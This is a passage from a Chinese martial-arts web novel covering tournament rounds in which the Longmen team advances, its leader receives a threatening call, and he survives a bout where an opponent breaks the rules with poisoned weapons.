张猛活动着肩膀:“这衣服不错,比那些花里胡哨的强。”
周倩检查着自己的装备护具,显得有些紧张。
吴刚闭目调息,呼吸悠长。
孙浩则伸长脖子,不停张望其他休息区的选手。
南宫明月依旧是一身白色运动服,长剑横放膝上,安静地坐在角落,与周围的喧嚣格格不入,却又让人无法忽视。
“个人赛第一轮,每个擂台同时进行。”
李雅拿着赛程表,“大头,你是第三场,在**擂台。猛哥是第二场,三号台。小孙第五场,七号台。小周第六场,二号台。小吴第八场,五号台。”
她合上本子,目光扫过众人:“记住大头的话,安全第一。遇到不对,及时认输不丢人。咱们的目标在后面。”
广播响起,宣布第一场比赛开始。八个擂台瞬间被选手填满,呼喝声、拳脚碰撞声、裁判口令声此起彼伏。
张猛的第二场很快到来。
他的对手是那个西山省煤矿子弟,名叫石磊。
人如其名,身材敦实如岩石,皮肤黝黑发亮,一双大手满是老茧。
“请!”裁判示意。
石磊抱拳,姿势标准,眼神却透着一股子憨厚中的锐利。
他不等张猛回应,脚下一蹬,整个人如滚石般冲来!
用的果然是“煤石拳”,拳势厚重,带着一股开山裂石的蛮劲。
张猛咧嘴一笑,不闪不避,运起硬功,同样一拳迎上!
“砰!”
双拳相撞,发出沉闷的巨响。
两人各退一步,石磊眼中闪过惊讶,显然没想到张猛的力量如此之强。
“好家伙,有点意思!”
张猛甩了甩手,手掌发麻,却战意更浓。
他得王大头点拨后,硬功已有小成,正缺这种硬碰硬的对手检验。
两人再度战在一处。石磊的拳法朴实无华,却势大力沉,每一拳都带着开碑裂石的力道。
张猛则以龙门基础拳法应对,配合硬功,攻防有度。
二十余招后,张猛渐渐摸清了对方路数。煤石拳刚猛有余,变化不足,且发力过于依赖腰马,转换间有细微滞涩。
“就是现在!”
张猛抓住石磊一拳打空、重心稍偏的瞬间,侧身进步,一记改良后的“贴山靠”撞入对方怀中!这一下发力刁钻,正中石磊发力转换的节点。
石磊闷哼一声,连退三步,脚下踉跄。
张猛如影随形,右手成爪,扣向对方肩井穴——这是雷战教的擒拿技巧。
石磊急忙格挡,却慢了半拍。
张猛指尖劲力一吐,石磊整条右臂顿时酸麻无力。
“承让。”张猛收手抱拳。
石磊揉着肩膀,苦笑摇头:“厉害。我输了。”
裁判宣布张猛获胜。
龙门这边响起掌声。张猛走下擂台,额角见汗,却神采飞扬。
“打得好!”孙浩兴奋道,“猛哥,你那最后一招太帅了!”
张猛摆摆手:“这小子拳重,震得我手现在还麻。不过硬碰硬,咱们龙门不虚任何人!”
王大头点头:“猛哥赢在观察和时机把握。对方的拳法特点很明显,你找到了破绽。”
正说着,广播响起:“**擂台第三场,龙门王大头,对阵北河洪拳赵铁山。请选手上台。”
众人的目光顿时集中过来。
“大头,加油!”李雅轻声道。
南宫明月抬眼看向王大头,眼神平静:“洪拳讲究‘硬桥硬马’,势大力沉,但下盘稳固,弱点在腰肋转换处。他脚步有旧伤,左腿发力会稍慢。”
王大头微微一愣,他刚才也观察到了赵铁山走路时左腿的细微异常,但南宫明月只是远远看了一眼,竟能如此精准判断?
“多谢。”王大头朝她点点头,转身走向擂台。
**擂台周围已经围了不少人。
显然,泰山之战的主角首次亮相全国赛场,吸引了不少目光。
沈坤一伙、天骄预备营的高战等人,也都聚在不远处看着。
赵铁山已在台上等候。
他比照片上更显精悍,肤色黝黑,浓眉如墨,双手骨节粗大,站姿如松。
见到王大头上台,他抱拳行礼,目光坦荡:“王会长,久仰。请指教。”
“赵兄客气,请。”王大头回礼。
裁判宣布开始。
赵铁山低喝一声,瞬间摆出洪拳起手式“伏虎势”,气势陡然一变,如猛虎出笼!
他脚步连踏,迅速拉近距离,一记“虎爪”直掏王大头胸口,带起凌厉风声!
果然是硬桥硬马!
王大头能感觉到对方这一爪蕴含的劲力,足以开碑裂石。
他不硬接,脚步轻移,《游龙步》施展开来,身形如柳絮飘忽,险险避过。
赵铁山一击不中,立刻变招,“弓步冲拳”、“马步顶肘”、“转身鞭锤”,攻势如潮,拳风呼啸。每一招都势大力沉,擂台地面被他踩得咚咚作响。
王大头以闪避为主,偶尔格挡卸力,同时仔细观察。
南宫明月说得没错,赵铁山的左腿在发力转换时确实有极其细微的迟滞,虽然他已经掩饰得很好,但在王大头《星辰观想法》的感知下,依旧明显。
而且,洪拳的发力特点也如南宫明月所说,腰马力量转换是核心,但转换间存在一个极短的“空当”——那是旧力已尽、新力未生的刹那。
二十余招后,王大头已完全掌握对方节奏。
赵铁山久攻不下,有些焦躁,猛喝一声,使出洪拳杀招“猛虎下山”,整个人如猛虎扑食,双拳并出,势不可挡!
就是现在!
王大头不退反进,在对方扑击到最高点、腰力转换的瞬间,身形诡异一折,如同游鱼般从双拳缝隙中钻入,右手并指如剑,凝聚螺旋劲力,闪电般点向赵铁山左肋下方——那里正是腰力转换的枢纽!
“噗!”
指尖触及,劲力透入。
赵铁山只觉左腰一麻,整条左腿的力道瞬间消散大半,扑击之势顿时失衡!
王大头得势不饶人,左手一托对方肘部,借力打力,右手顺势一带。
“砰!”赵铁山庞大的身躯失去平衡,重重摔在擂台上,激起一片尘土。
他挣扎着想站起,却感觉左半边身子酸麻无力,一时竟使不上劲。
裁判开始读秒:“十、九、八……”
赵铁山咬牙想撑起身体,却再次跌倒。
“……三、二、一!比赛结束!胜者,龙门王大头!”
台下响起一片惊呼。太快了!从赵铁山使出杀招到被摔倒,不过三秒时间!
王大头伸手将赵铁山拉起:“承让。赵兄拳势威猛,佩服。”
赵铁山苦笑摇头,揉着左腰:“王会长眼力毒辣,我输得心服口服。这旧伤是三年前留下的,我以为掩饰得很好……”
“已经很好了。”王大头真诚道,“若非专精观察,很难发现。”
两人互相行礼,各自下台。
龙门这边一片欢腾。孙浩激动得跳起来:“王老师太厉害了!一招制敌!”
南宫明月眼中闪过一丝赞许:“观察入微,一击必中。科学武道,名不虚传。”
不远处,沈坤脸色难看。
高战眯起眼睛,低声对身边人道:“看到没?这小子的眼力和时机把握很准。不过,也就对付这种有旧伤的。遇到我们预备营的人,他那套分析没用。”
阴柔青年摇着扇子,阴笑道:“高兄说得对。不过,我倒是对那个南宫明月更感兴趣。她刚才好像跟王大头说了什么……看来,这龙门内部,也不简单啊。”
接下来的比赛,龙门有胜有负。
孙浩对上那个苗疆女选手,吃了轻功和用毒的亏,虽然凭借速度周旋许久,最终仍被对方用麻痹性药粉影响,动作迟缓落败。
但他坚持到最后一刻,虽败犹荣。
周倩对阵海事大学的学生,对方的水警搏击术讲究实用,但
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变化不多。
周倩充分发挥自己巧劲和分析能力,找到对方习惯性动作的破绽,以一招“四两拨千斤”将对手摔出擂台界限,获胜。
吴刚对草原摔跤手***,是一场纯粹的力量与下盘较量。
***力大无穷,摔跤技巧娴熟,吴刚硬功初成,稳扎稳打。
两人在擂台上角力近十分钟,最终吴刚抓住对方一次发力过猛的失误,用改良的“千斤坠”配合肩撞,将***撞退三步出界,险胜。
个人赛第一轮结束,龙门五人参赛,四人晋级,成绩相当亮眼。
散场时,不少队伍对龙门投来重新审视的目光。
这个名不见经传的小团体,似乎真的有点东西。
“明天第二轮,对阵表晚上会公布。”
李雅边走边说,“大家今天都累了,回去好好休息。特别是小孙,你中的麻痹药粉虽然剂量不大,但也需要调息化解。”
孙浩还有些不服气:“那个女的太狡猾了,根本不正面打……”
“这就是比赛。”
王大头拍拍他肩膀,“用毒在规则允许范围内,就是她的本事。你速度比她快,但应变和经验不足,输了不冤。记住这个教训,以后遇到非常规对手,要多动脑子。”
回到酒店,众人在餐厅简单用餐后各自回房。
王大头刚洗完澡,房门被敲响。开门,是南宫明月。
“方便聊聊吗?”她问。
“请进。”
南宫明月走进房间,在椅子上坐下,开门见山:“你今天用的步法,很有趣。看似简单,却蕴含九宫八卦的变化,但又不太一样。是你自己改良的?”
王大头点头:“结合了一些现代运动力学和神经反应的研究,优化了转向和发力效率。我称之为《游龙步》。”
“游龙步……”南宫明月轻声重复,“名字贴切。你与赵铁山交手时,最后切入的那个角度,是计算好的?”
“一半计算,一半直觉。”王大头坦诚道,“对方发力习惯、旧伤影响、当时的重心位置,这些可以计算。但实战瞬息万变,最后那一下,更多是靠战斗本能和临场判断。”
南宫明月若有所思:“所以,科学武道,不是完全抛弃传统和经验,而是用科学方法优化基础,用数据分析辅助判断,但真正的胜负手,依然是武者本身的修为、心性和临场发挥?”
“正是如此。”
王大头眼睛一亮,这南宫明月理解得很快,“传统武术是千年智慧结晶,不能全盘否定。但时代在变,训练方法、营养、对身体的理解都在进步。我们要做的,是取其精华,结合现代科学,走出一条更高效、更适合现代人的路。”
两人就武道理念聊了许久。
南宫明月出身传统剑道,却对现代科学并不排斥,反而很有兴趣。
王大头发现,她在力学和人体结构方面的直觉和理解,远超常人。
“你师父一定很了不起。”王大头感慨。
南宫明月眼神微黯:“师父他……确实是个奇人。可惜走得太早。”她没有多说,转而问道,“你对明天第二轮有把握吗?我观察了今天胜出的选手,有几个需要注意。”
她列举了几个人名和特点,分析得细致入微。
王大头认真听着,心中对这位神秘女剑客的评价又高了几分。
夜深,南宫明月告辞离开。
走到门口时,她忽然回头,说了一句看似没头没脑的话:“小心那个‘暗影’的人。我今天看到他看你的眼神,不太对劲。”
“暗影?”王大头皱眉,“我和他们毫无交集。”
“也许和泰山有关,也许和别的有关。”南宫明月摇头,“直觉。总之,小心无大错。”
她离开后,王大头站在窗前,回味着她的话。
暗影……A.E.G.I.S……天骄预备营……还有那些虎视眈眈的世家子弟。
这次新秀赛,果然不单纯是比赛。
他摸了摸左胸口的龙纹绣标。
无论如何,龙门已经踏上这个舞台。
接下来,就是一步步,打出自己的天地。
窗外,京城灯火璀璨,夜色正浓。
个人赛第二轮,即将开始。
第108章:暗流汹涌
个人赛第二轮的对阵表在当晚公布。
王大头抽到的对手来自岭南“蔡李佛拳”一脉,名叫陈鹤鸣,二十二岁,是这一代蔡李佛的杰出传人,第一轮轻松获胜。
张猛的对手是中原一个古武世家的旁系子弟,练的是“六合大枪”,但比赛用短棍。
孙浩、周倩、吴刚的对手也都不弱。
“蔡李佛拳刚柔并济,长短桥并用,手法多变。”
房间内,王大头对着平板电脑上搜集到的有限资料分析,“这个陈鹤鸣第一轮比赛视频我看了,基本功扎实,尤其擅长‘扯拳’和‘钉拳’,近身短打很有威胁。”
李雅补充道:“我托人打听了,陈鹤鸣性格稳重,不骄不躁,在岭南年轻一辈中口碑不错。不过……”她顿了顿,“据说他家族和冀北沈家有些生意往来,关系尚可。”
张猛哼了一声:“又是沈家?那个沈坤是不是到处找人给咱们使绊子?”
“未必是使绊子。”
南宫明月忽然开口,她不知何时也来到了王大头的房间,“正常比赛而已。但若沈坤私下打过招呼,对方可能会更认真,或者……更想‘掂量掂量’咱们龙门的成色。”
王大头点头:“无论如何,赛场见真章。大家今晚好好休息,明天全力以赴。”
夜深人静,王大头调息完毕,正准备入睡,手机忽然震动。
是一个陌生号码。
接通,对面传来一个经过变声处理的声音:
“王大头?”
“我是。你是?”
“别管我是谁。给你个忠告:明天对战陈鹤鸣,最好‘适当’保留实力。有些人,不想看到你走得太远。”
王大头眼神一凝:“什么意思?”
“意思就是,树大招风。龙门根基尚浅,有些风头,不出也罢。否则……后面的路,不好走。”对方语气平淡,却带着威胁,“个人赛而已,没必要太拼命。你说呢?”
“你是谁派来的?沈坤?还是别的什么人?”王大头沉声问。
对方笑了,笑声经过处理显得诡异:“我是谁不重要。重要的是,你听不听话。记住,京城的水很深,淹死过不少自以为是的‘天才’。”
电话挂断。
王大头握着手机,眉头紧锁。
威胁电话?
这手段未免太下作了。
他起身走到窗边,看着窗外夜色。
京城璀璨的灯火下,不知隐藏着多少暗流。
要不要告诉其他人?
他想了想,决定暂时不说。
无凭无据,说出来只会让队友们徒增压力。
况且,这种程度的威胁,还吓不到他。
“适当保留实力?”
王大头嘴角勾起一抹冷笑,“我偏要全力以赴。倒要看看,这水有多深,能淹死谁。”
第二天,演武场气氛更加热烈。
经过第一轮淘汰,剩下的都是精英,比赛质量明显提升。
孙浩的比赛先开始。
他吸取了昨天的教训,面对一个擅长地趟拳的对手,充分发挥速度优势,游走攻击,不给对方近身缠斗的机会,最终以点数获胜。
周倩的对手是一个练“鹰爪功”的选手,指力惊人。
周倩不与对方硬拼,以巧破力,利用擂台空间和规则,多次将对方逼入死角,最终抓住机会一个借力摔,将对手摔出擂台获胜。
吴刚对上了一个练“谭腿”的选手,对方腿法犀利,攻势如潮。
吴刚稳守反击,硬抗对方十几记重腿,终于抓住对方换气的破绽,一记“铁山靠”将对手撞飞,再胜一轮。
龙门三人再晋级!看台上已经有不少人开始关注这支“黑马”队伍。
张猛上场前,拍了拍王大头肩膀:“大头,看哥给你打个样!”
他的对手是那个使短棍的六合大枪传人。
比赛开始,对方棍法娴熟,劈、扫、点、戳,招招凌厉,将长兵器的优势发挥得淋漓尽致。张猛初期被压制,臂膀挨了几棍,火辣辣地疼。
但他硬功扎实,咬牙挺住,不断寻找近身机会。
二十招后,他终于抓住对方一个收棍稍慢的瞬间,冒着挨一棍的风险突入内圈,一记“霸王肘”撞在对方胸口!
“噗!”对方吐血**,短棍脱手。
张猛得势不饶人,连续三拳轰在对方防御空当,将其逼到擂台边缘,最后一记侧踢,将对手踢下擂台。
“胜者,龙门张猛!”
张猛高举双臂,发出怒吼。
他身上青紫了好几处,却笑得畅快。
“猛哥威武!”孙浩在台下大喊。
四战四胜!龙门的表现已经引起了不少真正高手的注意。
看台某处,几个气息渊深的老者低声交流,目光不时扫向龙门休息区。
“那个王大头,还没出场吧?”
“嗯,下一场就是。对手是岭南陈家的陈鹤鸣。”
“陈家小子得了真传,不好对付。看看这个王大头,到底有多少斤两。”
终于,轮到王大头上场。
“**擂台第七场,龙门王大头,对阵岭南蔡李佛陈鹤鸣!”
两人登台。陈鹤鸣穿着传统的黑色练功服,身材匀称,眼神清澈,抱拳行礼时姿态端正,确有大家风范。
“王会长,久仰。请指教。”他语气诚恳。
“陈兄客气。”王大头回礼,同时仔细观察对方。
气息沉稳,下盘扎实,双手骨节分明但不过分粗大,是典型的刚柔并济的路子。
裁判宣布开始。
陈鹤鸣率先发动。
他没有急于强攻,而是脚踏麒麟步,绕着王大头游走,双手一前一后,摆出蔡李佛典型的“问路手”,试探意味明显。
王大头以静制动,《星辰观想法》全力运转,感知对方每一丝肌肉的颤动和内力的流转。
三圈之后,陈鹤鸣突然变向进步,右手一记“穿心拳”直刺中路,左手却隐藏在后,随时准备变招。
王大头侧身格挡,触手处感觉对方拳劲先是刚猛,触及瞬间却转为柔韧,竟有吸附纠缠之意——这是蔡李佛“扯拳”的精髓!
他立刻变招,手臂如灵蛇般一抖,螺旋劲力迸发,震开吸附之力,同时左脚悄无声息地踢向对方膝盖侧后方。
陈鹤鸣反应极快,撤步转身,避过踢击的同时,左手如鞭抽出,正是“钉拳”!
“啪!”拳风凌厉。
王大头后仰避开,两人一触即分,各自退开两步。
短短两招试探,却凶险异常。
台下懂行的人已经看出门道。
“陈家小子得了真传啊!那手扯拳,火候不浅。”
“这个王大头也不简单,破解得干净利落。”
陈鹤鸣眼中闪过一丝讶色,随即战意更浓:“好!再接我这招!”
他步伐加快,拳势展开,蔡李佛拳法特点完全展现——刚柔并济,长短桥结合,手法多变如穿花蝴蝶。
时而刚猛如锤,时而柔韧如鞭,时而近身短打,时而放长击远。
王大头将《游龙步》施展到极致,在拳影中穿梭,双手或格或引或卸,将雷战教的实战技巧和龙门科学分析结合,每每在间不容发之际化解攻击。
两人身影交错,拳脚碰撞声不绝于耳,转眼已过三十余招。
陈鹤鸣久攻不下,呼吸微乱。
他没想到王大头如此难缠,自己精妙的招数总被对方以意想不到的方式破解。
“不能拖下去!”陈鹤鸣心念电转,决定使出绝招。
他猛吸一口气,内力鼓荡,拳势陡然一变!
原本多变的拳法突然收敛,整个人气势凝聚,右手握拳后拉,拳锋隐隐有青气流转——这是蔡李佛秘传“破甲拳”,专破硬功防御!
王大头眼神一凝,感觉到了这一拳的威胁。
但他不闪不避,反而踏前一步,体内内力按照《基础吐纳术》第三层的路线急速运转,右手五指并拢,以掌代刀,迎着拳锋劈去!
这一掌看似简单,却蕴含了他对发力角度、时机、内力凝聚的全部理解,更是结合了《星辰观想法》对对方拳劲薄弱点的分析!
拳掌相交!
没有巨响,只有一声沉闷的“噗”声。
陈鹤鸣脸色剧变!他感觉到自己无坚不摧的破甲拳劲,竟如泥牛入海,被对方掌劲中一股螺旋震荡之力层层瓦解!
更可怕的是,一股锐利如刀的气劲顺着他的手臂经脉倒冲而上!
“噔噔噔!”陈鹤鸣连退七步,右臂无力垂下,脸色发白,额头冷汗涔涔。
王大头收掌而立,气息微喘。
刚才那一掌,他用了八成实力,结合了科学发力和内力震荡技巧,算是他目前的“杀招”之一。
“承让。”王大头抱拳。
陈鹤鸣咬牙想再战,但右臂经络被侵,一时半刻根本无法发力。
他苦笑摇头:“王会长深藏不露,陈某输得心服口服。”
裁判宣布王大头获胜。
台下先是一静,随即爆发出惊呼和议论。
“陈鹤鸣输了?!”
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“那个破甲拳竟然被硬接下来了?”
“这个王大头……到底什么来路?”
龙门休息区一片欢腾。
五战全胜!
个人赛第二轮,龙门全员晋级!
沈坤在不远处,脸色铁青。
他身边的阴柔青年摇扇子的动作都停了,眼神阴鸷。
高战抱着胳膊,冷笑道:“有点意思。不过也就是欺负欺负这些传统派。遇到我们预备营的实战打法,他那套分析就没用了。”
此时,看台上,几个老者低声交谈。
“刚才那一掌……你们看出来了吗?”
“嗯,不是传统路数。发力方式很特别,内力运用也有门道。”
“科学武道……看来不全是噱头。”
“再观察观察。如果他能在第三轮走得更远……”
个人赛第二轮全部结束。
128名选手,只剩下32人。龙门五人全部晋级,成了最大黑马。
散场时,不少队伍主动与龙门打招呼,语气客气了许多。
实力,永远是最好通行证。
回到酒店,众人聚在王大头房间开小结会。
“今天大家表现都很好!”李雅难掩兴奋,“五战全胜!现在不少媒体和武道论坛已经开始关注我们了。”
张猛揉着淤青的肩膀:“痛快!不过明天第三轮,剩下的都是硬茬子了。”
“第三轮对手晚上会公布。”王大头说,“今天大家都累了,回去好好调息。特别是猛哥,你挨的那几棍不轻,我帮你推拿一下。”
众人散去后,王大头帮张猛推拿活血。
张猛龇牙咧嘴:“轻点轻点……对了大头,你今天最后那一掌,牛啊!怎么练的?”
“结合发力分析和内力震荡的一些想法。”
王大头简单解释,“不过消耗也大,不能多用。”
处理完张猛的伤,王大头回到自己房间,正准备调息,房门又被敲响。
开门,是白子羽。
“白公子?请进。”
白子羽走进房间,脸色比平时严肃:“王会长,打扰了。有件事,我觉得应该提醒你。”
“请讲。”
“你今天击败陈鹤鸣,表现很亮眼。”白子羽直入主题,“但可能也因此,引起了某些人的不安。”
王大头心中一动:“白公子指的是?”
“沈家,还有……天骄预备营背后的人。”
白子羽压低声音,“我得到消息,沈家对你在泰山击败罗惊涛一直耿耿于怀——罗惊涛的师父,是沈家一位长辈的至交。而天骄预备营背后,有几位军中退下来的大佬,他们对‘科学武道’的理念……不太认同。”
王大头皱眉:“所以?”
“所以,接下来的比赛,你可能会遇到‘特别安排’的对手。”
白子羽说得很含蓄,“个人赛第三轮是重新抽签,但抽签过程……有时候并不完全随机。”
“有人要针对我?”王大头目光锐利。
“不是明面上的针对,是‘巧合’。”白子羽道,“比如,刚好抽到克制你风格的对手,或者……出手特别狠、容易‘失手’的对手。”
王大头沉默片刻:“多谢白公子提醒。”
“不必客气。”白子羽起身,“我们白家很看好龙门的前景,也很欣赏王会长的为人。如果需要帮助,随时开口。”
送走白子羽,王大头站在窗前,久久不语。
威胁电话,白子羽的提醒,还有比赛中的种种迹象……看来,龙门的崛起,确实触动了一些人的神经。
他拿出手机,看了看晚上刚公布的第三轮对阵表。
他的对手是……“暗影”选手,代号“幽魂”。
王大头瞳孔微缩。
幽魂,那个全身笼罩在斗篷里的神秘人。
第一轮,他三招击败一个暗劲巅峰的对手。
第二轮,对手在比赛中突然腹痛弃权,赛后检查是某种**发作——时间巧合得令人怀疑。
而现在,自己抽到了他。
“巧合?”王大头冷笑。
他拨通了李雅的电话:“雅姐,帮我查一下‘幽魂’的更多信息。另外,联系赵师傅,问问‘暗影’这个组织的情况。”
挂断电话,王大头盘膝坐下,开始调息。
无论对手是谁,无论背后有什么阴谋。
擂台之上,实力说话。
明天,他会用拳头告诉所有人:龙门的路,谁也挡不住。
窗外,夜色更深。
京城暗流,正悄然汇聚。
第109章:幽魂缠斗
个人赛第三轮,气氛与前两轮截然不同。
演武场四周的看台几乎坐满,连过道都站了不少人。
媒体区架起了**短炮,几家知名武道网站的主播正在进行赛前预热。空气中弥漫着一种山雨欲来的凝重感。
龙门休息区,气氛有些压抑。
李雅拿着刚搜集到的有限信息,眉头紧锁:“‘幽魂’,暗影组织外围成员,真实姓名不详,年龄推测在二十二至二十五岁之间。前两轮比赛,对手一个重伤昏迷,一个**弃权。他出手……很黑。”
“重伤昏迷那个,现在怎么样了?”周倩轻声问。
“还在医院,脑震荡加三根肋骨骨折,内脏有出血。”
李雅声音低沉,“医生说恢复至少需要半年。”
张猛一拳砸在椅子上:“妈的,这哪是比赛?这是**!”
孙浩脸色发白:“王老师,要不……要不咱们……”
“弃权?”王大头平静地接过话头。
孙浩低下头,不敢看他的眼睛。
“如果怕了,可以弃权。”
王大头目光扫过众人,“但你们想过没有,如果我们今天因为怕受伤而弃权,明天会不会因为怕得罪人而退缩?后天会不会因为怕麻烦而解散龙门?”
他站起身,走到休息区边缘,看向远处已经登台的“幽魂”。
那个穿着黑色斗篷的身影静静立在擂台上,仿佛与周围的喧嚣隔绝。
“武道之路,从来不是坦途。”
王大头声音不高,却字字清晰,“我们走的是新路,注定要面对更多质疑、更多阻碍、甚至更多恶意。如果连一场比赛都不敢打,还谈什么开宗立派?谈什么弘扬理念?”
他转身,看着队员们:“我不是要你们逞匹夫之勇。但如果因为对手可能下黑手就退缩,那我们就永远无法真正站起来。今天这一战,我必须打。而且……”
他嘴角勾起一抹冷冽的弧度:“我要赢。”
张猛猛地站起:“大头说得对!干**!什么暗影明影,揍趴下再说!”
周倩深吸一口气,眼神变得坚定:“王老师,我们支持你。”
吴刚重重点头。
孙浩咬咬牙,也抬起头:“我……我不怕!”
南宫明月一直安静地坐在角落擦拭剑鞘,此时抬起头,看向王大头:“那个幽魂,步伐轻灵诡谲,用的是‘鬼影步’的变种,融合了东瀛忍术的缩地技巧。他擅用毒和暗器,但擂台规则限制,他只能用涂抹在拳套或衣物上的接触性毒素。小心他的指甲和袖口。”
她顿了顿,补充道:“还有,他的左肩有旧伤,发力的角度超过四十五度时会有细微迟滞。虽然他已经掩饰得很好,但在极限对抗中,或许可以利用。”
王大头深深看了她一眼:“你怎么知道得这么清楚?”
“昨晚,我去看了他前两轮比赛的完整录像。”
南宫明月淡淡道,“反复看了七遍。”
王大头心中涌起一股暖流:“多谢。”
“不必。”
南宫明月重新低下头擦拭剑鞘,“我只是不想龙门这么快就少了个有趣的对手。”
广播响起:“三号擂台第一场,龙门王大头,对阵暗影幽魂。请选手登台。”
全场目光瞬间聚焦。
王大头脱下外套,露出藏青色练功服。
他活动了一下手腕,迈步走向擂台。
张猛在他身后大喊:“大头!揍他!”
擂台上,幽魂静静站着。
斗篷的兜帽遮住了他大半张脸,只能看到下巴和毫无血色的嘴唇。
他双手戴着黑色的皮质手套,手套指尖位置有金属光泽闪烁——那是特制的指虎,上面隐约可见暗蓝色的反光,显然淬了毒。
裁判是个五十多岁、气息沉凝的老者,他严肃地看了两人一眼,沉声道:“比赛规则重申:禁用致命**,禁用淬毒暗器,禁用攻击眼睛、下阴等要害。一方认输、昏迷或倒地十秒不起,比赛结束。听明白了吗?”
“明白。”王大头道。
幽魂微微点头,没有说话,只发出了一声低沉的“嗯”。
“开始!”
裁判话音刚落,幽魂动了!
他没有像大多数选手那样试探,而是如鬼魅般瞬间贴近!
斗篷扬起,整个人仿佛融入了阴影,一爪直掏王大头咽喉!
指尖的金属指虎在阳光下反射出幽蓝的光。
快!诡!狠!
王大头早有防备,《游龙步》施展开来,身形如风向后飘退,同时右手并指如刀,切向对方手腕内侧。
幽魂手腕诡异一翻,竟如无骨般避开这一击,另一只手从不可思议的角度穿出,五指成爪,扣向王大头肋下!
“嗤啦!”
王大头虽然及时侧身,但肋下练功服仍被划开一道口子,皮肤传来火辣辣的刺痛——毒素渗透!
他心中一凛,内力急速运转至伤处,压制毒素扩散。
同时脚下步伐连变,拉开距离。
“好快的毒!”台下有人惊呼。
“幽魂的‘腐骨爪’名不虚传!沾上一点就够受的!”
王大头感受着肋下的麻痹感,眼神沉静。
毒素不算猛烈,但会逐渐影响反应速度和肌肉控制。必须速战速决。
幽魂一击得手,毫不留情,再次扑上。
他的身法诡异莫测,忽左忽右,时而如鬼影飘忽,时而如毒蛇突袭。每一次攻击都刁钻狠辣,专攻关节、经脉、穴位。
王大头将《星辰观想法》运转到极致,精神高度集中。
在观想法加持下,幽魂那诡谲的身法轨迹逐渐变得有迹可循——那是一种将步伐、呼吸、肌肉颤动完美结合的潜行技巧,核心在于利用视觉盲点和心理暗示。
但王大头不止用眼睛看,更用精神力感知。
二十招后,他逐渐适应了对方的节奏。
幽魂又是一爪袭来,直取面门。
王大头这次不退不让,左手如灵蛇探出,精准地扣住对方手腕,螺旋劲力迸发!
“咔嚓!”轻微的骨节错位声。
幽魂闷哼一声,手腕剧痛,但他应变极快,另一只手闪电般探出,指甲划过王大头手臂。
又是一道血痕!毒素再次侵入!
王大头咬牙,内力震荡,将对方震开,同时右脚无声无息地踢向幽魂左膝外侧——那是南宫明月提醒过的,对方左肩旧伤关联的发力弱点!
幽魂似乎没料到这一击,仓促间左腿微曲,身形一滞。
就是现在!
王大头眼中精光爆射,不顾手臂毒素蔓延,猛吸一口气,体内内力按照《基础吐纳术》第三层的特殊路线疯狂运转!
他双掌掌心隐隐有银光流转——这是他将科学发力与内力结合后摸索出的新技巧,暂命名为“螺旋震脉掌”!
双掌齐出,一上一下,封死幽魂所有退路!
幽魂瞳孔收缩,他感觉到这一掌的威胁,斗篷下的脸上第一次露出凝重之色。
他双手交叉格挡,同时身体诡异地向后折去,试图卸力。
“轰!”
掌力轰然爆发!螺旋劲力如钻头般穿透防御,狠狠撞在幽魂交叉的双臂上!
“噗!”幽魂喷出一口鲜血,整个人倒飞出去,重重摔在擂台边缘,斗篷凌乱,兜帽滑落。
台下爆发出惊呼。
兜帽下,是一张苍白削瘦的脸,约莫二十四五岁,眼眶深陷,眼神阴冷如毒蛇。
最引人注目的是,他左脸颊有一道深可见骨的疤痕,从眼角一直延伸到嘴角,让他整张脸显得狰狞可怖。
他挣扎着想站起,但双臂颤抖,显然受伤不轻。
王大头没有追击,站在原地调息压制毒素。
他双臂已经隐隐发黑,毒素正在向心脏蔓延。
裁判开始读秒:“十、九、八……”
幽魂盯着王大头,眼中闪过怨毒和不甘。
他左手悄悄摸向腰间——那里似乎藏有什么。
“小心!”台下,南宫明月突然厉声喝道。
王大头也感觉到了危险,正要闪避,却见幽魂左手一扬,一道几乎看不见的银丝射向自己面门!
暗器!淬毒暗器!
电光石火间,王大头强行扭身,银丝擦着脸颊飞过,带起一丝血线。
脸颊瞬间传来麻痹感——又是毒!
“违规!”裁判怒喝,瞬间冲上前,一掌拍向幽魂。
但幽魂早有准备,右手在擂台地面一拍,整个人如弹簧般弹起,避开裁判一掌,同时左手再扬,数道银丝射向王大头全身要害!
这是要下**!
王大头毒素已深,行动迟滞,眼看就要被银丝击中!
千钧一发之际——
“嗡!”
一道青色剑光如惊鸿乍现!
“叮叮叮叮!”清脆的金铁交鸣声连响,所有银丝被一柄淡青色长剑精准地全部击飞!
南宫明月不知何时已跃上擂台,持剑护在王大头身前,眼神冰冷如霜:“擂台之上,公然使用淬毒暗器,违反规则,意图**。暗影的人,都这么不要脸吗?”
全场哗然!
裁判脸色铁青:“幽魂!取消比赛资格!永久禁赛!安保!抓住他!”
幽魂见事不可为,怨毒地瞪了王大头一眼,身形一晃,竟如鬼魅般朝擂台外窜去!
“想跑?”南宫明月冷笑,长剑一抖,剑气如虹,封死去路。
但幽魂似乎早有准备,右手在腰间一按,“嘭”的一声,浓密的黑烟瞬间爆开,笼罩整个擂台!
“烟幕弹!”
“小心有毒!”
台下大乱。
黑烟中,传来几声短促的交手声,随即是一声闷哼。
烟幕散去,擂台上只剩下王大头、南宫明月和裁判。幽魂已不知所踪。
南宫明月长剑斜指地面,剑尖有血迹滴落。
她微微皱眉:“好狡猾,用了替身傀儡和遁术。”
裁判脸色难看至极,转头看向医务组:“快!给王选手解毒!”
王大头此时已盘膝坐下,全力运功逼毒。
他脸色发黑,呼吸急促,显然**不浅。
龙门众人冲上擂台。
“大头!你怎么样?”张猛急声道。
“我没事……”王大头咬牙,“毒素暂时压住了,但需要时间化解。”
李雅已经联系了白子羽。
几分钟后,白子羽带着一个药箱匆匆赶来,二话不说,取出几根银针,快速刺入王大头几处大穴,又喂他服下一粒碧绿色药丸。
“这是我们白家秘制的‘清心辟毒丹’,能解百毒。”白子羽沉声道,“但幽魂用的毒很古怪,混合了至少三种毒素,需要进一步分析。先稳住毒性,赛后我再详细治疗。”
药丸入腹,化作一股清凉气流,迅速中和毒素。
王大头脸色逐渐好转。
裁判宣布:“由于幽魂违规使用淬毒暗器,恶意攻击,取消资格。本场比赛,龙门王大头获胜,晋级十六强!”
台下响起掌声,但更多的是一片议论声。
“暗影的人太嚣张了!”
“这是要**啊!”
“龙门这个王大头,命真大……”
不远处,沈坤一伙人脸色变幻不定。
高战抱着胳膊,冷笑道:“暗影失手了。不过那个王大头*
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*不轻,就算晋级,下一轮也废了。”
阴柔青年摇着扇子:“未必。白家的人出手了。白家的医术,解这种毒不难。”
“那又如何?”高战不屑,“**受伤,状态能恢复几成?十六强里可没弱者。”
另一边,看台上几个老者低声交谈。
